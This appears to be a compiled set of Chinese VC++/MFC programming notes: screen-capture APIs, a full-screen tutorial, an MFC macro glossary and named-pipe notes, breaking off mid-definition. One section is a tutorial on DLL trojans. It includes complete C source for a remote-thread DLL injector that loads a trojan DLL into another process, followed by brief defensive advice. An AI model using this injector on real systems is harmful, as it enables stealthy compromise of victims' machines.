远程控制编程技术–屏幕抓取的实现

一、屏幕抓取的实现:
HICON CWnd::SetIcon( HICON hIcon, BOOL bBigIcon );
(Call this member function to set the handle to a specific icon, as identified by hIcon. When the window class is registered, it selects an icon.)
bBigIcon
Specifies a 32 pixel by 32 pixel icon if TRUE; specifies a 16 pixel by 16 pixel icon if FALSE.
用在对话框中可修改程序图标,其他文档不适用。

 

 

BOOL CWnd::IsIconic( ) const;
(Specifies whether CWnd is minimized (iconic). Nonzero if CWnd is minimized; otherwise 0.)

 

 

HDC CWnd::GetSafeHdc( ) const;
(Call this member function to get m_hDC, the output device context. This member function also works with null pointers. Return Value:A device context handle.)

 

 

int GetSystemMetrics(
int nIndex   // system metric or configuration setting to retrieve
);
(The GetSystemMetrics function retrieves various system metrics (widths and heights of display elements) and system configuration settings. All dimensions retrieved by GetSystemMetrics are in pixels.)

 

 

BOOL DrawIcon( int x, int y, HICON hIcon );
BOOL DrawIcon( POINT point, HICON hIcon );
在当前CDC对象的设备上绘制图标。该函数将图标左上角置于x和y 参数确定的坐标上,位置受到设备上下文的当前映射模式的影响。图标资源必须已由函数CwinApp::LoadIcon, CwinApp::LoadStandardIcon,或CwinApp::LoadOEMIcon预装,使用本函数应优先选择 MM_TEXT 映射模式。

 

 

int CDC::GetDeviceCaps( int nIndex ) const;
(Retrieves a wide range of device-specific information about the display device.)
nIndex
Specifies the type of information to return. It can be any one of the following values:
BITSPIXEL   Number of adjacent color bits for each pixel. 每一像素的颜色字节数
HORZRES   Width of the display (in pixels). 显示宽度(用像素表示)。
VERTRES   Height of the display (in raster lines). 显示高度(用光栅线表示)。
PLANES   Number of color planes. 颜色位面数。
…… ……

int GetObject(
  HGDIOBJ hgdiobj,  // handle to graphics object of interest
  int cbBuffer,     // size of buffer for object information
  LPVOID lpvObject  // pointer to buffer for object information(注意类型)
);
(The GetObject function obtains information about a specified graphics object. Depending on the graphics object, the function places a filled-in BITMAP, DIBSECTION, EXTLOGPEN, LOGBRUSH, LOGFONT, or LOGPEN structure, or a count of table entries (for a logical palette), into a specified buffer.)

 

 

int GetDIBits(
  HDC hdc,           // handle to device context
  HBITMAP hbmp,      // handle to bitmap
  UINT uStartScan,   // first scan line to set in destination bitmap
  UINT cScanLines,   // number of scan lines to copy
  LPVOID lpvBits,    // address of array for bitmap bits
  LPBITMAPINFO lpbi, // address of structure with bitmap data
  UINT uUsage        // RGB or palette index
);
(The GetDIBits function retrieves the bits of the specified bitmap and copies them into a buffer using the specified format.)

 

 

 

 

全屏抓取代码示例:
1.抓取屏幕代码示例,可放于单文档OnDraw函数内部演示:




2.第二段存储图象代码,同上面段放于单文档OnDraw函数内部演示:



3.第三段将图象复制到剪贴板代码:

 


在VC++6.0开发中实现全屏显示

    全屏显示是一些应用软件程序必不可少的功能。比如在用VC++编辑工程源文件或编辑对话框等资源时,选择菜单“ViewFull Screen”,即可进入全屏显示状态,按“Esc”键后会退出全屏显示状态。
  在VC++6.0中我们用AppWizard按默认方式生成单文档界面的应用程序框架。下面将先讨论点击菜单项“ViewFull Screen”实现全屏显示的方法,再讲述按“Esc”键后如何退出全屏显示状态。
  1)在CMainFrame类中,增加如下三个成员变量。

[language=CPP]
Class CMainFrame : public CFrameWnd
{

private: //自己添加的三个成员变量
WINDOWPLACEMENT m_OldWndPlacement;//用来保存原窗口位置
BOOL m_bFullScreen; //全屏显示标志
Crect m_FullScreenRect; //表示全屏显示时的窗口位置
protected: CMainFrame();
DECLARE_DYNCREATE(CMainFrame)

}

[/language]
  2)在资源编辑器中编辑菜单IDR_MAINFRAME。在“View”菜单栏下添加菜单项“Full Screen”。在其属性框中,ID设置为ID_FULL_SCREEN,Caption为“Full Screen”。还可以在工具栏中添加新的工具图标,并使之与菜单项“Full Screen”相关联,即将其ID值也设置为ID_FULL_SCREEN。


  3)设计全屏显示处理函数,在CMainFrame类增加上述菜单项ID_FULL_SCREEN消息的响应函数。响应函数如下:

[language=CPP]
void CMainFrame::OnFullScreen()
{

GetWindowPlacement(&m_OldWndPlacement);
Crect WindowRect;
GetWindowRect(&WindowRect);
Crect ClientRect;
RepositionBars(0, 0xffff, AFX_IDW_PANE_FIRST, reposQuery,&ClientRect);
ClientToScreen(&ClientRect);

//获取屏幕的分辨率
int nFullWidth=GetSystemMetrics(SM_CXSCREEN);
int nFullHeight=GetSystemMetrics(SM_CYSCREEN);
/*将除控制条外的客户区全屏显示到从(0,0)到(nFullWidth, nFullHeight)区域, 将(0,0)和(nFullWidth, nFullHeight)两个点外扩充原窗口和除控制条之外的 客户区位置间的差值, 就得到全屏显示的窗口位置*/
m_FullScreenRect.left=WindowRect.left-ClientRect.left;
m_FullScreenRect.top=WindowRect.top-ClientRect.top;
m_FullScreenRect.right=WindowRect.right-ClientRect.right+nFullWidth;
m_FullScreenRect.bottom=WindowRect.bottom-ClientRect.bottom+nFullHeight;
m_bFullScreen=TRUE; //设置全屏显示标志为 TRUE
//进入全屏显示状态
WINDOWPLACEMENT wndpl;
wndpl.length=sizeof(WINDOWPLACEMENT);
wndpl.flags=0;
wndpl.showCmd=SW_SHOWNORMAL;
wndpl.rcNormalPosition=m_FullScreenRect;
SetWindowPlacement(&wndpl);

}

[/language]
  4)重载CMainFrame类的OnGetMinMaxInfo函数,在全屏显示时提供全屏显示的位置信息。

[language=CPP]
Void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI)
{

if(m_bFullScreen)
{lpMMI->ptMaxSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxSize.y=m_FullScreenRect.Height();
lpMMI->ptMaxPosition.x=m_FullScreenRect.Width();
lpMMI->ptMaxPosition.y=m_FullScreenRect.Height();
//最大的Track尺寸也要改变
lpMMI->ptMaxTrackSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxTrackSize.y=m_FullScreenRect.Height();
}

CFrameWnd::OnGetMinMaxInfo(lpMMI) ;
}

[/language]

完成上面的编程后,可以联编执行FullScreen.exe,选择菜单“ViewFull Screen”或点击与之关联的工具栏按钮即可进入全屏显示状态。但现在还需要增加用户退出全屏显示状态的操作接口,下面讲述如何编程实现按“Esc”键退出全屏显示状态。


  1)在ClassView中选中CMainFrame并单击鼠标右键,选择“Add Member Function…”,添加public类型的成员函数EndFullScreen,该函数将完成退出全屏显示的操作。

[language=CPP]
Void CMainFrame::EndFullScreen()
{

if(m_bFullScreen)
{

// 退出全屏显示, 恢复原窗口显示
ShowWindow(SW_HIDE);
SetWindowPlacement(&m_OldWndPlacement);

}

}

[/language]
  2)函数EndFullScreen可以退出全屏显示状态,问题是如何在“Esc”键被按下之后调用执行此函数。由于视图类可以处理键盘输入的有关消息(如WM_KEYDOWN表示用户按下了某一个键),我们将在视图类CFullScreenView中添加处理按键消息WM_KEYDOWN的响应函数OnKeyDown。判断如果按的键为“Esc”键,则调用CMainFrame类的函数EndFullScreen,便可退出全屏显示状态。

[language=CPP]
Void CFullScreenView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags)
{

if(nChar==VK_ESCAPE) //如果按的键为Esc键
{

//获取主框架窗口的指针
CMainFrame *pFrame=(CMainFrame*)AfxGetApp()->m_pMainWnd;
//调用主窗口类的自定义函数 EndFullScreen ,便可退出全屏显示状态
pFrame->EndFullScreen();

}
Cview::OnKeyDown(nChar, nRepCnt, nFlags);

}

[/language]
  这样我们就实现了比较专业的全屏显示的功能,相信肯定会令你设计的软件程序增色不少。




Modified At 2008-03-28 09:29:47

VC++动态链接库编程之DLL木马

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

 

DLL木马的原理

 

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

 

正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

 

(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;

 

(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下”蛛丝马迹”,达到隐蔽自身的目的。

 

DLL木马实现了”真隐藏”,我们在任务管理器中看不到木马”进程”,它完全溶进了系统的内核。与”真隐藏”对应的是”假隐藏”,”假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是”假隐藏”木马本质上还具备独立的进程空间。”假隐藏”只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。

 

DLL木马注入其它进程的方法为远程线程插入。

 

远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。

 

DLL木马注入程序

 

这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:

 

(1)CreateRemoteThread 较 CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:

[language=CPP]

HANDLE CreateRemoteThread(

HANDLE hProcess, //远程进程句柄

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

[/language]

(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;

 

(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。

以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中:

[language=CPP]

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void CheckError ( int, int, char *); //出错处理函数

PDWORD pdwThreadId;

HANDLE hRemoteThread, hRemoteProcess;

DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)

{

int iReturnCode;

char lpDllFullPathName[MAX_PATH];

WCHAR pszLibFileName[MAX_PATH]={0};

dwRemoteProcessId = 4000;

strcpy(lpDllFullPathName, “d:\\troydll.dll”);

//将DLL文件全路径的ANSI码转换成UNICODE码

iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

lpDllFullPathName, strlen(lpDllFullPathName),

pszLibFileName, MAX_PATH);

CheckError(iReturnCode, 0, “MultByteToWideChar”);

//打开远程进程

hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程

PROCESS_VM_OPERATION | //允许VM操作

PROCESS_VM_WRITE, //允许VM写

FALSE, dwRemoteProcessId );

CheckError( (int) hRemoteProcess, NULL, “Remote Process not Exist or Access Denied!”);

//计算DLL路径名需要的内存空间

int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);

CheckError((int)pszLibFileRemote, NULL, “VirtualAllocEx”);

//将DLL的路径名复制到远程进程的内存空间

iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

CheckError(iReturnCode, false, “WriteProcessMemory”);

//计算LoadLibraryW的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);

CheckError((int)pfnStartAddr, NULL, “GetProcAddress”);

//启动远程线程,通过远程线程调用用户的DLL文件

hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

CheckError((int)hRemoteThread, NULL, “Create Remote Thread”);

//等待远程线程退出

WaitForSingleObject(hRemoteThread, INFINITE);

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

}

//错误处理函数CheckError()

void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)

{

if(iReturnCode==iErrorCode)

{

printf(“%s Error:%d\n\n”, pErrorMsg, GetLastError());

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

exit(0);

}

}

[/language]

从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

 

(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

 

(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

 

(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

 

a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

 

b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

 

c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

 

(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

 

(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

 

(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

 

(7)清理现场。

 

DLL木马的防治

 

从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

 

一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

 

对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。”道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,它们看起来也不再”莫名其妙”。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。

 




Modified At 2008-03-27 22:21:28

Visual C++MFC中常用宏的含义

AND_CATCHAND_CATCH
AND_CATCH(exception_class,exception _object_point_name)
说明:
定义一个代码块,它用于获取废除当前TRY块中的附加异常类型。使用CATCH宏以获得一个异常类型,然后
使用AND_CATCH宏获得随后的异常处理代码可以访问异常对象(若合适的话)已得到关于异常的特别原因的
更多消息。在AND_CATCH块中调用THROW_LAST宏以便把处理过程移到下个外部异常框架。AND_CATCH可标记
CATCH或AND_CATCH块的末尾。
 
注释:
AND_CATCH块被定义成为一个C++作用域(由花括号来描述)。若用户在此作用域定义变量,那么记住他们
只在此作用域中可以访问。他也用于exception_object_pointer_name变量。
 
 
 
ASSERT
ASSERT(booleanExpression)
说明:
计算变量的值。如果结构的值为0,那么此宏便打印一个诊断消息并且成讯运行失败。如果条件为非0,那
么什么也不做。 诊断消息的形式为: assertion failed in file in line 其中name是元文件名,num是
源文件中运行失败的中断号。 在Release版中,ASSERT不计算表达式的值也就不中断程序。如果必须计算
此表达式的值且不管环境如何那么用VERIFY代鍭SSERT。
注释:
ASSERT只能在Debug版中用
 
 
ASSERT_VAILD
ASSERT_VAILD(pObject)
说明:
用于检测关于对象的内部状态的有效性。ASSERT_VALID调用此对象的AssertValid成员函数(把它们作为
自己的变量来传递)。在Release版中ASSERT_VALID什么也不做。在DEBUG版中,他检查指针,以不同于
NULL的方式进行检查,并调用对象自己的AssertValid成员函数。如果这些检测中有任何一个失败的话,
那么他会以与ASSERT相同的方法显示一个警告的消息。
注释:
此函数只在DEBUG版中有效。
 
 
BEGIN_MESSAGE_MAP
BEGIN_MESSAGE_MAP(the class,baseclass)
说明:
使用BEGIN_MESSAGE_MAP开始用户消息映射的定义。在定义用户类函数的工具(.cpp)文件中,以
BEGIN_MESSAGE_MAP宏开始消息映射,然后为每个消息处理函数增加宏项,接着以END_MESSAGE_MAP宏完成
消息映射。
 
 
CATCH
CATCH(exception_class,exception_object_pointer_name)
说明:
使用此用定义一个代码块,此代码用来获取当前TRY块中都一个异常类型。异常处理代码可以访问异常对
象,如何合适的话,就会得到关于异常的特殊原因的更多消息。调用THROW_LAST宏以把处理过程一下一个
外部异常框架,如果exception-class是类CExceptioon,那么会获取所有异常类型。用户可以使用
CObject::IsKindOf成员函数以确定那个特别异常被排除。一种获取异常的最好方式是使用顺序的
AND_CATCH语句,每个带一个不同的异常类型。此异常类型的指针由宏定义,用户不必定义。
注释:
此CATCH块被定义作一个C++范围(由花括号描述)。如用户在此范围定义变量,那么它们只在吃范围内可
以访问。他还可以用于异常对象的指针名。
 
 
DEBUG_NEW
#define new DEBUG_NEW
说明:
帮助查找内存错误。用户在程序中使用DEBUG_NEW,用户通常使用new运算符来从堆上分配。在Debug模式下
(但定义了一个DEBUG符号),DEBUG_NEW为它分配的每个对象记录文件名和行号。然后,在用户使用
CMemoryState::DumpAllObjectSince成员函数时,每个以DEBUG_NEW分配的对象分配的地方显示出文件名
和行号。 为了使用DEBUG_NEW,应在用户的资源文件中插入以下指令: #define new DEBUG_NEW 一旦用户
插入本指令,预处理程序将在使用new的地方插入DEBUG_NEW,而MFC作其余的工作。但用户编译自己的程
序的一个发行版时,DEBUG_NEW便进行简单的new操作,而且不产生文件名和行号消息。
 
 
DECLARE_DYNAMIC
DECLARE_DYNAMIC(class_name)
说明:
但从CObject派生一个类时,此宏增加关于一个对象类的访问运行时间功能。把DECLARE_DYNAMIC宏加入类
的头文件中,然后在全部需要访问词类对象的.CPP文件中都包含此模块。如果像所描述那样使用
DELCARE_DYNAMIC和IMPLEMENT_DYNAMIC宏,那么用户便可使用RUNTIME_CLASS宏和CObject::IsKindOf函数
以在运行时间决定对象类。如果DECLARE_DYNAMIC包含在类定义中,那么IMPLEMETN_DYNAMIC必须包含在类
工具中。
 
 
DECLARE_DYNCREATE
DECLARE_DYNCREATE(class_name)
说明:
使用DECLARE_DYNCRETE宏以便允许CObject派生类的对象在运行时刻自动建立。主机使用此功能自动建立
新对象,例如,但它在串行化过程中从磁盘读一个对象时,文件及视图和框架窗应该支持动态建立,因为
框架需要自动建立它。把DECLARE_DYNCREATE宏加入类的.H文件中,然后在全部需要访问此类对象的.CPP
文件中包含这一模式。如果DECLARE_DYNCREATE包含在类定义中,那么IMPLEMENT_DYNCREATE必须包含在类
工具中。
 
 
DECLARE_MESSAGE_MAP
DECLARE_MESSAGE_MAP()
说明:
用户程序中的每个CCmdTarget派生类必须提供消息映射以处理消息。在类定义的末尾使用
DECLARE_MESSAGE_MAP宏。接着,在定义类成员函数的.CPP文件中,使用BEGIN_MESSAGE_MAP宏,每个用户
消息处理函数的宏项下面的列表以及END_MESSAGE_MAP宏。
注释:
如果在DECLARE_MESSAGE_MAP之后定义任何一个成员,那么必须为他们指定一个新存取类型(公共的,私
有的,保护的)。
 
 
DECLARE_SERIAL
DECLARE_SERIAL(class_name)
说明:
DECLARE_SERIAL为一个可以串行化的CObject派生类产生必要的C++标题代码。串行化是把某个对象的内容
从一个文件读出和写入一文件。在.H文件中使用DECLARE_SERIAL宏,接着在需要访问此类对象的全部.CPP
文件中包含此文件。如果DECLARE_SERIAL包含在类定义中,那么IMPLEMENT_SERIAL必须包含在类工具中。
DECLARE_SERIAL宏包含全部DECLARE_DYNAMIC,IMPLEMENT_DYCREATE的功能。
 
 
END_CATCH
END_CATCH
说明:
标识最后的CATCH或AND_CATCH块的末尾。
 
 
END_MESSAGE_MAP
END_MESSAGE_MAP
说明:
使用END_MESSAGE_MAP宏结束用户的消息映射定义
 
IMPLEMENT_DYNAMIC
IMPLEMENT_DYNAMIC(class_name,base_class_name)
说明:
通过运行时在串行结构中为动态CObject派生类访问类名和位置来产生必要的C++代码。在.CPP文件中使用
IMPLEMENT_DYNAMIC宏,接着一次链接结果对象代码
 
 
IMPLEMENT_DYNCREATE
IMPLEMENT_DYNCREATE(class_name,base_class_name)
说明:
通过DECLARE_DYNCREATE宏来使用IMPLEMENT_DYNCREATE宏,以允许CObject派生类对象在运行时自动建立
。主机使用此功能自动建立对象,例如,但它在串行化过程中从磁盘读去一个对象时,他在类工具里加入
IMPLEMENT_DYNCREATE宏。若用户使用DECLARE_DYNCREATE和IMPLEMENT_DYNCREATE宏,那么接着使用
RUNTIME_CLASS宏和CObject::IsKindOf成员函数以在运行时确定对象类。若declare_dyncreate包含在定
义中,那么IMPLEMENT_DYNCREATE必须包含在类工具中。
 
 
IMPLEMENT_SERIAL
IMPLEMENT_SERIAL(class_name,base_class_name,wSchema)
说明:
通过运行时在串行结构中动态CObject派生类访问类名和位置来建立必要的C++代码。在.CPP文件中使用
IMPLEMENT_SERIAL宏,然后一次链接结果对象代码。
 
 
ON_COMMAND
ON_COMMAND(id,memberFxn)
说明:
此宏通过ClassWizard或手工插入一个消息映射。它表明那个函数将从一个命令用户接口(例如一个菜单
项或toolbar按钮)处理一个命令消息。当一个命令对象通过指定的ID接受到一个Windows WM_COMMAND消
息时,ON_COMMAND将调用成员函数memberFxn处理此消息。在用户的消息映射中,对于每个菜单或加速器
命令(必须被映射到一个消息处理函数)应该确实有一个ON_COMMAND宏语句。
 
 
ON_CONTROL
ON_CONTROL(wNotifyCode,id,memberFxn)
说明:
表明哪个函数将处理一个常规控制表示消息。控制标识消息是那些从一个控制夫发送到母窗口的消息。
 
 
ON_MESSAGE
ON_MESSAGE(message,memberFxn)
说明:
指明哪个函数将处理一用户定义消息。用户定义消息通常定义在WM_USER到0x7FF范围内。用户定义消息是
那些不是标准Windows WM_MESSAGE消息的任何消息。在用户的消息映射中,每个必须被映射到一个消息处
理函数。用户定义消息应该有一个ON_MESSAGE宏语句。
 
 
ON_REGISTERED_MESSAGE
ON_REGISTERED_MESSAGE(nmessageVarible,memberFxn)
说明:
Windows的RegisterWindowsMesage函数用于定义一个新窗口消息,此消息保证在整个系统中是唯一的。此
宏表明哪个函数处理已注册消息。变量nMessageViable应以NEAR修饰符来定义。
 
 
ON_UPDATE_COMMAND_UI
ON_UPDATE_COMMAND_UI(id,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个用户接口个更改命令消息。
在用户的消息映射中,每个用户接口更改命令(比讯被映射到一个消息处理函数)应该有一个
ON_UPDATE_COMMAND_UI宏语句。
 
 
ON_VBXEVENT
ON_VBXEVENT(wNotifyCode,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个来自VBX控制的消息。在用户
的消息映射中每个被映射到一消息处理函数的VBX控制消息应该有一个宏语句。
 
 
RUNTIME_CLASS
RUNTIME_CLASS(class_name)
说明:
使用此宏从c++类民众获取运行时类结构。RUNTIME_CLASS为由class_name指定的类返回一个指针到
CRuntimeClass结构。只有以DECLARE_DYNAMIC,DECLARE_DYNCREATE或DECLARE_SERIAL定义的CObject派生
类才返回到一个CRuntimeClass结构的指针。
 
 
THROW
THROW(exception_object_pointer)
说明:
派出指定的异常。THROW中断程序的运行,把控制传递给用户程序中的相关的CATCH块。如果用户没有提供
CATCH块,那么控制被传递到一个MFC模块,他打印出一个错误并终止运行。
 
 
THROW_LAST
THROW_LAST()
说明:
此宏允许用户派出一个局部建立的异常。如果用户试图排除一个刚发现的异常,那么一般此异常将溢出并
被删除。使用THROW_LAST,此异常被直接传送到下一个CATCH处理程序。
 
 
TRACE
TRACE(exp)
说明:
把一个格式化字符串送到转储设备,例如,文件或调试监视器,而提供与printf相似的功能。同MS_DOS下
C程序的printf一样,TRACE宏是一个在程序运行时跟踪变量值的方便形式。在DEBUG环境中,TRACE宏输出
到afxDump。在Release版中他不做任何工作。
注释:
此宏只在MFC的DEBUG版中有效。
 
 
TRACE0
TRACE0(exp)
说明:
与TRACE相似,但他把跟踪字符串放在代码段中,而不是DGROUP,因此使用少的DGROUP空间。TRACE0是一组
跟踪宏的一个变体,这些宏可用于调试输出。这一组包括TRACE0,TRACE1,TRACE2和TRACE3,这些宏不同在
于所取参数的数目不同。TRACE0只取一个格式化字符串并可用于简单文本消息。TRACE1取一格式化字符串
加上一个变量——一个将转储的变量。同样,TRACE2,TRACE3分别取2个或3个参数(在格式化字符串之后
)。如果用户以便以了应用程序的发行版,那么它只把数据转储到afxDump。
注释:
此宏只在MFC的DEBUG中有效。
 
 
TRACE1
TRACE1(exp,param1)
说明:
参见TRACE0
 
 
TRACE2
TRACE2(exp,param1,param2)
说明:
参见TRACE0
 
 
TRACE3
TRACE3(exp,param1,param2,param3)
说明:
 
 
TRY
TRY
说明:
使用此宏建立一TRY块。一个TRY识别一个可排除异常的代码块。这些异常在随后的CATCH和AND_CATCH块处
理。传递是允许的:异常可以传递一个外部TRY块,或者忽略它们或者使用THROW_LAST宏。
 
 
VERIFY
VERIFY(booleanExpression)
说明:
在MFC的DEBUG版中,VERIFY宏计算它的变量值。 如果结果为0,那么宏打印一个诊断消息并中止程序。如
果条件不为0,那么什么工作也不作。 诊断有如下形式: assertion failed in file in line 其中name
是源文件的名字,num是在源文件中失败的中止行号。在MFC的Release版中,VERIFY计算表达式值但不打
印或中止程序。例如:如果表达式是个函数调用,那么调用成功。
 

进程间通信-命名管道


  • 命名管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。我们在不了解网络协议的情况下,也可以利用命名管道来实现进程间的通信。

  • 命名管道充分利用了Windows NT和Windows 2000内建的安全机制。

  • 将命名管道作为一种网络编程方案时,它实际上建立了一个客户机/服务器通信体系,并在其中可靠地传输数据。

  • 命名管道是围绕Windows文件系统设计的一种机制,采用“命名管道文件系统(Named Pipe File System,NPFS)”接口,因此,客户机和服务器可利用标准的Win32文件系统函数(例如:ReadFile和WriteFile)来进行数据的收发。

  • 命名管道服务器和客户机的区别在于:服务器是唯一一个有权创建命名管道的进程,也只有它才能接受管道客户机的连接请求。而客户机只能同一个现成的命名管道服务器建立连接。

  • 命名管道服务器只能在Windows NT或Windows 2000上创建,所以,我们无法在两台Windows 95或Windows 98计算机之间利用管道进行通信。不过,客户机可以是Windows 95或Windows 98计算机,与Windows NT或Windows 2000计算机进行连接通信。

  • 命名管道提供了两种基本通信模式:字节模式和消息模式。在字节模式中,数据以一个连续的字节流的形式,在客户机和服务器之间流动。而在消息模式中,客户机和服务器则通过一系列不连续的数据单位,进行数据的收发,每次在管道上发出了一条消息后,它必须作为一条完整的消息读入。


①HANDLE CreateNamedPipe (
  LPCTSTR lpName,         // pointer to pipe name
  DWORD dwOpenMode,       // pipe open mode
  DWORD dwPipeMode,       // pipe-specific modes
  DWORD nMaxInstances,    // maximum number of instances
  DWORD nOutBufferSize,   // output buffer size, in bytes
  DWORD nInBufferSize,    // input buffer size, in bytes
  DWORD nDefaultTimeOut,  // time-out time, in milliseconds
  LPSECURITY_ATTRIBUTES lpSecurityAttributes  // pointer to security attributes
);


(The CreateNamedPipe function creates an instance of a named pipe and returns a handle for subsequent pipe operations. A named pipe server process uses this function either to create the first instance of a specific named pipe and establish its basic attributes or to create a new instance of an existing named pipe. If the function succeeds, the return value is a handle to the server end of a named pipe instance. If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. The return value is ERROR_INVALID_PARAMETER if nMaxInstances is greater than  PIPE_UNLIMITED_INSTANCES.)


lpName
Pointer to the null-terminated string that uniquely identifies the pipe. The string must have the following form:
\\.\pipe\pipename
以\\开始,这里 . 表示本地机器,,如果用连接到远程机器则需要填写远程主机得名字,pipe是pipe硬编码,不用修改,直接填pipe就可以了,pipename是创建的管道的名字。


nDefaultTimeOut
Specifies the default time-out value, in milliseconds, if the WaitNamedPipe function specifies NMPWAIT_USE_DEFAULT_WAIT. Each instance of a named pipe must specify the same value.

 

 

②BOOL ConnectNamedPipe (
  HANDLE hNamedPipe,          // handle to named pipe to connect
  LPOVERLAPPED lpOverlapped   // pointer to overlapped structure
);


(The ConnectNamedPipe function enables a named pipe server process to wait for a client process to connect to an instance of a named pipe. A client process connects by calling either the CreateFile or CallNamedPipe function. If the function succeeds, the return value is nonzero.If the function fails, the return value is zero. To get extended error information, call GetLastError.)
注意这个函数的名字容易引起歧义,仔细参见函数说明。这里参数lpOverlapped是有用的。

 

 

③typedef struct _OVERLAPPED { // o
    DWORD  Internal;
    DWORD  InternalHigh;
    DWORD  Offset;
    DWORD  OffsetHigh;
    HANDLE hEvent;
} OVERLAPPED;


hEvent
